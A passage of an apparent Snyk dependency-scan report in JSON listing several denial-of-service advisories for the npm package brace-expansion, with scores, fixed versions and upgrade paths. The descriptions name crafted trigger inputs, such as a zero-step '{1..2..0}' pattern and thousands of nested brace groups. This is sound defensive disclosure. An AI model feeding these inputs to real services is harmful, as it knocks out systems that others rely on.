{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
